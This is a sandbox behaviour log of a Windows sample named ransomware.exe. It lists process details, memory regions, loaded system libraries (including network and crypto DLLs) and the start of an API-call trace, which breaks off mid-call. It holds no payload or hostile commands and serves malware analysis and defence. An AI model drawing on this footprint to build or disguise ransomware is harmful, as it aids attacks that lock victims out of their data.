# Flog Txt Version 1 # Analyzer Version: 2.4.0 # Analyzer Build Date: Jul 24 2018 18:08:56 # Log Creation Date: 23.09.2018 21:30:13.863 Process: id = "1" image_name = "ransomware.exe" filename = "c:\\users\\ciihmnxmn6ps\\desktop\\ransomware.exe" page_root = "0x2ff42000" os_pid = "0xf0c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Ransomware.exe\" " cur_dir = "C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" os_username = "LHNIWSJ\\CIiHmnxMn6Ps" os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00013c81" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1 start_va = 0x8a0000 end_va = 0x981fff entry_point = 0x8a0000 region_type = mapped_file name = "ransomware.exe" filename = "\\Users\\CIiHmnxMn6Ps\\Desktop\\Ransomware.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ransomware.exe") Region: id = 2 start_va = 0xea0000 end_va = 0xebffff entry_point = 0x0 region_type = private name = "private_0x0000000000ea0000" filename = "" Region: id = 3 start_va = 0xec0000 end_va = 0xec0fff entry_point = 0x0 region_type = private name = "private_0x0000000000ec0000" filename = "" Region: id = 4 start_va = 0xed0000 end_va = 0xee3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ed0000" filename = "" Region: id = 5 start_va = 0xef0000 end_va = 0xf2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000ef0000" filename = "" Region: id = 6 start_va = 0xf30000 end_va = 0x132ffff entry_point = 0x0 region_type = private name = "private_0x0000000000f30000" filename = "" Region: id = 7 start_va = 0x1330000 end_va = 0x1333fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001330000" filename = "" Region: id = 8 start_va = 0x1340000 end_va = 0x1341fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001340000" filename = "" Region: id = 9 start_va = 0x1350000 end_va = 0x1351fff entry_point = 0x0 region_type = private name = "private_0x0000000001350000" filename = "" Region: id = 10 start_va = 0x77990000 end_va = 0x77b08fff entry_point = 0x77990000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 11 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 12 start_va = 0xff100000 end_va = 0xff122fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000ff100000" filename = "" Region: id = 13 start_va = 0xff127000 end_va = 0xff127fff entry_point = 0x0 region_type = private name = "private_0x00000000ff127000" filename = "" Region: id = 14 start_va = 0xff12c000 end_va = 0xff12efff entry_point = 0x0 region_type = private name = "private_0x00000000ff12c000" filename = "" Region: id = 15 start_va = 0xff12f000 end_va = 0xff12ffff entry_point = 0x0 region_type = private name = "private_0x00000000ff12f000" filename = "" Region: id = 16 start_va = 0xfffe0000 end_va = 0x7ffaf7a0ffff entry_point = 0x0 region_type = private name = "private_0x00000000fffe0000" filename = "" Region: id = 17 start_va = 0x7ffaf7a10000 end_va = 0x7ffaf7bd1fff entry_point = 0x7ffaf7a10000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 18 start_va = 0x7ffaf7bd2000 end_va = 0x7ffffffeffff entry_point = 0x0 region_type = private name = "private_0x00007ffaf7bd2000" filename = "" Region: id = 165 start_va = 0x1510000 end_va = 0x151ffff entry_point = 0x0 region_type = private name = "private_0x0000000001510000" filename = "" Region: id = 166 start_va = 0x73040000 end_va = 0x7308efff entry_point = 0x73040000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 167 start_va = 0x73090000 end_va = 0x73102fff entry_point = 0x73090000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 168 start_va = 0x73030000 end_va = 0x73037fff entry_point = 0x73030000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 169 start_va = 0x15e0000 end_va = 0x19dffff entry_point = 0x0 region_type = private name = "private_0x00000000015e0000" filename = "" Region: id = 170 start_va = 0x74d30000 end_va = 0x74ea5fff entry_point = 0x74d30000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 171 start_va = 0x75130000 end_va = 0x7521ffff entry_point = 0x75130000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 174 start_va = 0xea0000 end_va = 0xeaffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ea0000" filename = "" Region: id = 175 start_va = 0xeb0000 end_va = 0xeb3fff entry_point = 0x0 region_type = private name = "private_0x0000000000eb0000" filename = "" Region: id = 176 start_va = 0x1360000 end_va = 0x141dfff entry_point = 0x1360000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 177 start_va = 0x1420000 end_va = 0x145ffff entry_point = 0x0 region_type = private name = "private_0x0000000001420000" filename = "" Region: id = 178 start_va = 0x1460000 end_va = 0x149ffff entry_point = 0x0 region_type = private name = "private_0x0000000001460000" filename = "" Region: id = 179 start_va = 0x14a0000 end_va = 0x14dffff entry_point = 0x0 region_type = private name = "private_0x00000000014a0000" filename = "" Region: id = 180 start_va = 0x19e0000 end_va = 0x1ddffff entry_point = 0x0 region_type = private name = "private_0x00000000019e0000" filename = "" Region: id = 181 start_va = 0x1de0000 end_va = 0x21dffff entry_point = 0x0 region_type = private name = "private_0x0000000001de0000" filename = "" Region: id = 182 start_va = 0x21e0000 end_va = 0x25dffff entry_point = 0x0 region_type = private name = "private_0x00000000021e0000" filename = "" Region: id = 183 start_va = 0x74380000 end_va = 0x74396fff entry_point = 0x74380000 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 184 start_va = 0x743a0000 end_va = 0x743a7fff entry_point = 0x743a0000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll") Region: id = 185 start_va = 0x743b0000 end_va = 0x743d0fff entry_point = 0x743b0000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\SysWOW64\\devobj.dll" (normalized: "c:\\windows\\syswow64\\devobj.dll") Region: id = 186 start_va = 0x743e0000 end_va = 0x74402fff entry_point = 0x743e0000 region_type = mapped_file name = "winmmbase.dll" filename = "\\Windows\\SysWOW64\\winmmbase.dll" (normalized: "c:\\windows\\syswow64\\winmmbase.dll") Region: id = 187 start_va = 0x74410000 end_va = 0x74428fff entry_point = 0x74410000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\SysWOW64\\userenv.dll" (normalized: "c:\\windows\\syswow64\\userenv.dll") Region: id = 188 start_va = 0x74430000 end_va = 0x7445ffff entry_point = 0x74430000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 189 start_va = 0x74460000 end_va = 0x74683fff entry_point = 0x74460000 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll") Region: id = 190 start_va = 0x74690000 end_va = 0x74898fff entry_point = 0x74690000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10240.16384_none_3bccb1ff6bcd1849\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10240.16384_none_3bccb1ff6bcd1849\\comctl32.dll") Region: id = 191 start_va = 0x748a0000 end_va = 0x748c3fff entry_point = 0x748a0000 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\SysWOW64\\winmm.dll" (normalized: "c:\\windows\\syswow64\\winmm.dll") Region: id = 192 start_va = 0x748d0000 end_va = 0x748d7fff entry_point = 0x748d0000 region_type = mapped_file name = "wsock32.dll" filename = "\\Windows\\SysWOW64\\wsock32.dll" (normalized: "c:\\windows\\syswow64\\wsock32.dll") Region: id = 193 start_va = 0x748e0000 end_va = 0x748e7fff entry_point = 0x748e0000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 194 start_va = 0x74910000 end_va = 0x74984fff entry_point = 0x74910000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 195 start_va = 0x74a30000 end_va = 0x74a88fff entry_point = 0x74a30000 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 196 start_va = 0x74a90000 end_va = 0x74a99fff entry_point = 0x74a90000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 197 start_va = 0x74aa0000 end_va = 0x74abdfff entry_point = 0x74aa0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 198 start_va = 0x74ac0000 end_va = 0x74ac6fff entry_point = 0x74ac0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 199 start_va = 0x74ad0000 end_va = 0x74c0ffff entry_point = 0x74ad0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 200 start_va = 0x74c10000 end_va = 0x74c53fff entry_point = 0x74c10000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 201 start_va = 0x74c60000 end_va = 0x74cdafff entry_point = 0x74c60000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 202 start_va = 0x74ce0000 end_va = 0x74d23fff entry_point = 0x74ce0000 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\SysWOW64\\powrprof.dll" (normalized: "c:\\windows\\syswow64\\powrprof.dll") Region: id = 203 start_va = 0x74eb0000 end_va = 0x74f6dfff entry_point = 0x74eb0000 region_type = mapped_file name = "comdlg32.dll" filename = "\\Windows\\SysWOW64\\comdlg32.dll" (normalized: "c:\\windows\\syswow64\\comdlg32.dll") Region: id = 204 start_va = 0x74f70000 end_va = 0x75129fff entry_point = 0x74f70000 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 205 start_va = 0x752b0000 end_va = 0x752bbfff entry_point = 0x752b0000 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 206 start_va = 0x752c0000 end_va = 0x7667efff entry_point = 0x752c0000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 207 start_va = 0x76800000 end_va = 0x76cdcfff entry_point = 0x76800000 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\SysWOW64\\windows.storage.dll" (normalized: "c:\\windows\\syswow64\\windows.storage.dll") Region: id = 208 start_va = 0x76ce0000 end_va = 0x76d71fff entry_point = 0x76ce0000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 209 start_va = 0x76ec0000 end_va = 0x76ec5fff entry_point = 0x76ec0000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll") Region: id = 210 start_va = 0x76ed0000 end_va = 0x76f2bfff entry_point = 0x76ed0000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 211 start_va = 0x76f30000 end_va = 0x77019fff entry_point = 0x76f30000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 212 start_va = 0x77020000 end_va = 0x77055fff entry_point = 0x77020000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 213 start_va = 0x770b0000 end_va = 0x770f2fff entry_point = 0x770b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 214 start_va = 0x77100000 end_va = 0x7710efff entry_point = 0x77100000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 215 start_va = 0x771d0000 end_va = 0x7725cfff entry_point = 0x771d0000 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 216 start_va = 0x772c0000 end_va = 0x7736bfff entry_point = 0x772c0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 217 start_va = 0x77370000 end_va = 0x774bcfff entry_point = 0x77370000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 218 start_va = 0x778d0000 end_va = 0x7798dfff entry_point = 0x778d0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 219 start_va = 0xfeffd000 end_va = 0xfeffffff entry_point = 0x0 region_type = private name = "private_0x00000000feffd000" filename = "" Region: id = 220 start_va = 0xff000000 end_va = 0xff0fffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000ff000000" filename = "" Region: id = 221 start_va = 0xff124000 end_va = 0xff126fff entry_point = 0x0 region_type = private name = "private_0x00000000ff124000" filename = "" Region: id = 222 start_va = 0xff129000 end_va = 0xff12bfff entry_point = 0x0 region_type = private name = "private_0x00000000ff129000" filename = "" Region: id = 223 start_va = 0x15b0000 end_va = 0x15bffff entry_point = 0x0 region_type = private name = "private_0x00000000015b0000" filename = "" Region: id = 224 start_va = 0x25e0000 end_va = 0x2767fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000025e0000" filename = "" Region: id = 225 start_va = 0x75220000 end_va = 0x7524afff entry_point = 0x75220000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 226 start_va = 0x76da0000 end_va = 0x76ebffff entry_point = 0x76da0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 227 start_va = 0xec0000 end_va = 0xec0fff entry_point = 0x0 region_type = private name = "private_0x0000000000ec0000" filename = "" Region: id = 228 start_va = 0x14e0000 end_va = 0x14e0fff entry_point = 0x0 region_type = private name = "private_0x00000000014e0000" filename = "" Region: id = 229 start_va = 0x1500000 end_va = 0x1501fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001500000" filename = "" Region: id = 230 start_va = 0x2770000 end_va = 0x28f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002770000" filename = "" Region: id = 231 start_va = 0x2900000 end_va = 0x3cfffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002900000" filename = "" Region: id = 232 start_va = 0x3e30000 end_va = 0x3e3ffff entry_point = 0x0 region_type = private name = "private_0x0000000003e30000" filename = "" Region: id = 233 start_va = 0x14f0000 end_va = 0x14f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000014f0000" filename = "" Region: id = 234 start_va = 0x1520000 end_va = 0x159ffff entry_point = 0x0 region_type = private name = "private_0x0000000001520000" filename = "" Region: id = 235 start_va = 0x14f0000 end_va = 0x14f0fff entry_point = 0x0 region_type = private name = "private_0x00000000014f0000" filename = "" Region: id = 236 start_va = 0x15a0000 end_va = 0x15a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000015a0000" filename = "" Region: id = 237 start_va = 0x3d00000 end_va = 0x3db7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003d00000" filename = "" Region: id = 238 start_va = 0x15a0000 end_va = 0x15a3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000015a0000" filename = "" Region: id = 239 start_va = 0x748f0000 end_va = 0x7490cfff entry_point = 0x748f0000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 240 start_va = 0x15c0000 end_va = 0x15c3fff entry_point = 0x0 region_type = private name = "private_0x00000000015c0000" filename = "" Region: id = 241 start_va = 0x3e40000 end_va = 0x4176fff entry_point = 0x3e40000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 242 start_va = 0x15d0000 end_va = 0x15d3fff entry_point = 0x0 region_type = private name = "private_0x00000000015d0000" filename = "" Region: id = 243 start_va = 0x3dc0000 end_va = 0x3dc0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003dc0000" filename = "" Region: id = 244 start_va = 0x740b0000 end_va = 0x74370fff entry_point = 0x740b0000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 245 start_va = 0x3dd0000 end_va = 0x3dd0fff entry_point = 0x3dd0000 region_type = mapped_file name = "counters.dat" filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCache\\counters.dat" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\microsoft\\windows\\inetcache\\counters.dat") Region: id = 246 start_va = 0x74090000 end_va = 0x740a0fff entry_point = 0x74090000 region_type = mapped_file name = "ondemandconnroutehelper.dll" filename = "\\Windows\\SysWOW64\\OnDemandConnRouteHelper.dll" (normalized: "c:\\windows\\syswow64\\ondemandconnroutehelper.dll") Region: id = 247 start_va = 0x73fe0000 end_va = 0x74086fff entry_point = 0x73fe0000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\SysWOW64\\winhttp.dll" (normalized: "c:\\windows\\syswow64\\winhttp.dll") Region: id = 248 start_va = 0x3de0000 end_va = 0x3e1ffff entry_point = 0x0 region_type = private name = "private_0x0000000003de0000" filename = "" Region: id = 249 start_va = 0x4180000 end_va = 0x457ffff entry_point = 0x0 region_type = private name = "private_0x0000000004180000" filename = "" Region: id = 250 start_va = 0x73f90000 end_va = 0x73fddfff entry_point = 0x73f90000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\SysWOW64\\mswsock.dll" (normalized: "c:\\windows\\syswow64\\mswsock.dll") Region: id = 251 start_va = 0xfeffa000 end_va = 0xfeffcfff entry_point = 0x0 region_type = private name = "private_0x00000000feffa000" filename = "" Region: id = 252 start_va = 0x3e20000 end_va = 0x3e2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003e20000" filename = "" Region: id = 253 start_va = 0x4580000 end_va = 0x45bffff entry_point = 0x0 region_type = private name = "private_0x0000000004580000" filename = "" Region: id = 254 start_va = 0x45c0000 end_va = 0x49bffff entry_point = 0x0 region_type = private name = "private_0x00000000045c0000" filename = "" Region: id = 255 start_va = 0xfeff7000 end_va = 0xfeff9fff entry_point = 0x0 region_type = private name = "private_0x00000000feff7000" filename = "" Region: id = 256 start_va = 0x49c0000 end_va = 0x49fffff entry_point = 0x0 region_type = private name = "private_0x00000000049c0000" filename = "" Region: id = 257 start_va = 0x4a00000 end_va = 0x4dfffff entry_point = 0x0 region_type = private name = "private_0x0000000004a00000" filename = "" Region: id = 258 start_va = 0x73f00000 end_va = 0x73f83fff entry_point = 0x73f00000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\SysWOW64\\dnsapi.dll" (normalized: "c:\\windows\\syswow64\\dnsapi.dll") Region: id = 259 start_va = 0xfeff4000 end_va = 0xfeff6fff entry_point = 0x0 region_type = private name = "private_0x00000000feff4000" filename = "" Region: id = 260 start_va = 0x73da0000 end_va = 0x73efffff entry_point = 0x73da0000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 261 start_va = 0x4e00000 end_va = 0x4e00fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004e00000" filename = "" Region: id = 262 start_va = 0x73d90000 end_va = 0x73d97fff entry_point = 0x73d90000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\SysWOW64\\rasadhlp.dll" (normalized: "c:\\windows\\syswow64\\rasadhlp.dll") Region: id = 263 start_va = 0x73d20000 end_va = 0x73d3afff entry_point = 0x73d20000 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll") Region: id = 264 start_va = 0x73d40000 end_va = 0x73d85fff entry_point = 0x73d40000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\SysWOW64\\FWPUCLNT.DLL" (normalized: "c:\\windows\\syswow64\\fwpuclnt.dll") Region: id = 265 start_va = 0x4e10000 end_va = 0x4e11fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004e10000" filename = "" Region: id = 266 start_va = 0x4e20000 end_va = 0x4e22fff entry_point = 0x4e20000 region_type = mapped_file name = "mswsock.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\mswsock.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\mswsock.dll.mui") Region: id = 267 start_va = 0x73d00000 end_va = 0x73d12fff entry_point = 0x73d00000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 268 start_va = 0x73cd0000 end_va = 0x73cfefff entry_point = 0x73cd0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 269 start_va = 0x4e30000 end_va = 0x4f3bfff entry_point = 0x0 region_type = private name = "private_0x0000000004e30000" filename = "" Region: id = 270 start_va = 0x4f40000 end_va = 0x5042fff entry_point = 0x0 region_type = private name = "private_0x0000000004f40000" filename = "" Region: id = 271 start_va = 0x5050000 end_va = 0x5152fff entry_point = 0x0 region_type = private name = "private_0x0000000005050000" filename = "" Region: id = 272 start_va = 0x5160000 end_va = 0x526ffff entry_point = 0x0 region_type = private name = "private_0x0000000005160000" filename = "" Region: id = 273 start_va = 0x4e30000 end_va = 0x4f2ffff entry_point = 0x0 region_type = private name = "private_0x0000000004e30000" filename = "" Region: id = 274 start_va = 0x4f30000 end_va = 0x512ffff entry_point = 0x0 region_type = private name = "private_0x0000000004f30000" filename = "" Region: id = 275 start_va = 0x5130000 end_va = 0x520efff entry_point = 0x0 region_type = private name = "private_0x0000000005130000" filename = "" Region: id = 276 start_va = 0x5210000 end_va = 0x52fafff entry_point = 0x0 region_type = private name = "private_0x0000000005210000" filename = "" Region: id = 277 start_va = 0x5300000 end_va = 0x53e1fff entry_point = 0x0 region_type = private name = "private_0x0000000005300000" filename = "" Region: id = 278 start_va = 0x53f0000 end_va = 0x54cefff entry_point = 0x0 region_type = private name = "private_0x00000000053f0000" filename = "" Region: id = 279 start_va = 0x5130000 end_va = 0x5219fff entry_point = 0x0 region_type = private name = "private_0x0000000005130000" filename = "" Region: id = 280 start_va = 0x5130000 end_va = 0x5136fff entry_point = 0x0 region_type = private name = "private_0x0000000005130000" filename = "" Thread: id = 1 os_tid = 0xf10 [0049.516] GetStartupInfoW (in: lpStartupInfo=0x132f984 | out: lpStartupInfo=0x132f984*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Ransomware.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0049.518] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0049.520] GetProcAddress (hModule=0x75130000, lpProcName="FlsAlloc") returned 0x7514a330 [0049.520] GetProcAddress (hModule=0x75130000, lpProcName="FlsFree") returned 0x7514f400 [0049.520] GetProcAddress (hModule=0x75130000, lpProcName="FlsGetValue") returned 0x75147580 [0049.520] GetProcAddress (hModule=0x75130000, lpProcName="FlsSetValue") returned 0x75149910 [0049.520] GetProcAddress (hModule=0x75130000, lpProcName="InitializeCriticalSectionEx") returned 0x75156030 [0049.521] GetProcAddress (hModule=0x75130000, lpProcName="CreateEventExW") returned 0x75155f90 [0049.521] GetProcAddress (hModule=0x75130000, lpProcName="CreateSemaphoreExW") returned 0x75155ff0 [0049.522] GetProcAddress (hModule=0x75130000, lpProcName="SetThreadStackGuarantee") returned 0x7514a5d0 [0049.522] GetProcAddress (hModule=0x75130000, lpProcName="CreateThreadpoolTimer") returned 0x7514a690 [0049.522] GetProcAddress (hModule=0x75130000, lpProcName="SetThreadpoolTimer") returned 0x779c40f0 [0049.522] GetProcAddress (hModule=0x75130000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x779bd630 [0049.522] GetProcAddress (hModule=0x75130000, lpProcName="CloseThreadpoolTimer") returned 0x779becf0 [0049.522] GetProcAddress (hModule=0x75130000, lpProcName="CreateThreadpoolWait") returned 0x75155720 [0049.523] GetProcAddress (hModule=0x75130000, lpProcName="SetThreadpoolWait") returned 0x779be140 [0049.523] GetProcAddress (hModule=0x75130000, lpProcName="CloseThreadpoolWait") returned 0x779beb60 [0049.523] GetProcAddress (hModule=0x75130000, lpProcName="FlushProcessWriteBuffers") returned 0x779f9990 [0049.523] GetProcAddress (hModule=0x75130000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x779f5540 [0049.523] GetProcAddress (hModule=0x75130000, lpProcName="GetCurrentProcessorNumber") returned 0x779e9dc0 [0049.523] GetProcAddress (hModule=0x75130000, lpProcName="GetLogicalProcessorInformation") returned 0x7514a550 [0049.524] GetProcAddress (hModule=0x75130000, lpProcName="CreateSymbolicLinkW") returned 0x75170a40 [0049.524] GetProcAddress (hModule=0x75130000, lpProcName="SetDefaultDllDirectories") returned 0x74e60790 [0049.524] GetProcAddress (hModule=0x75130000, lpProcName="EnumSystemLocalesEx") returned 0x7514f8a0 [0049.524] GetProcAddress (hModule=0x75130000, lpProcName="CompareStringEx") returned 0x7514fa30 [0049.525] GetProcAddress (hModule=0x75130000, lpProcName="GetDateFormatEx") returned 0x75171030 [0049.525] GetProcAddress (hModule=0x75130000, lpProcName="GetLocaleInfoEx") returned 0x7514a000 [0049.525] GetProcAddress (hModule=0x75130000, lpProcName="GetTimeFormatEx") returned 0x751714b0 [0049.525] GetProcAddress (hModule=0x75130000, lpProcName="GetUserDefaultLocaleName") returned 0x7514a4f0 [0049.525] GetProcAddress (hModule=0x75130000, lpProcName="IsValidLocaleName") returned 0x751716f0 [0049.525] GetProcAddress (hModule=0x75130000, lpProcName="LCMapStringEx") returned 0x75149970 [0049.526] GetProcAddress (hModule=0x75130000, 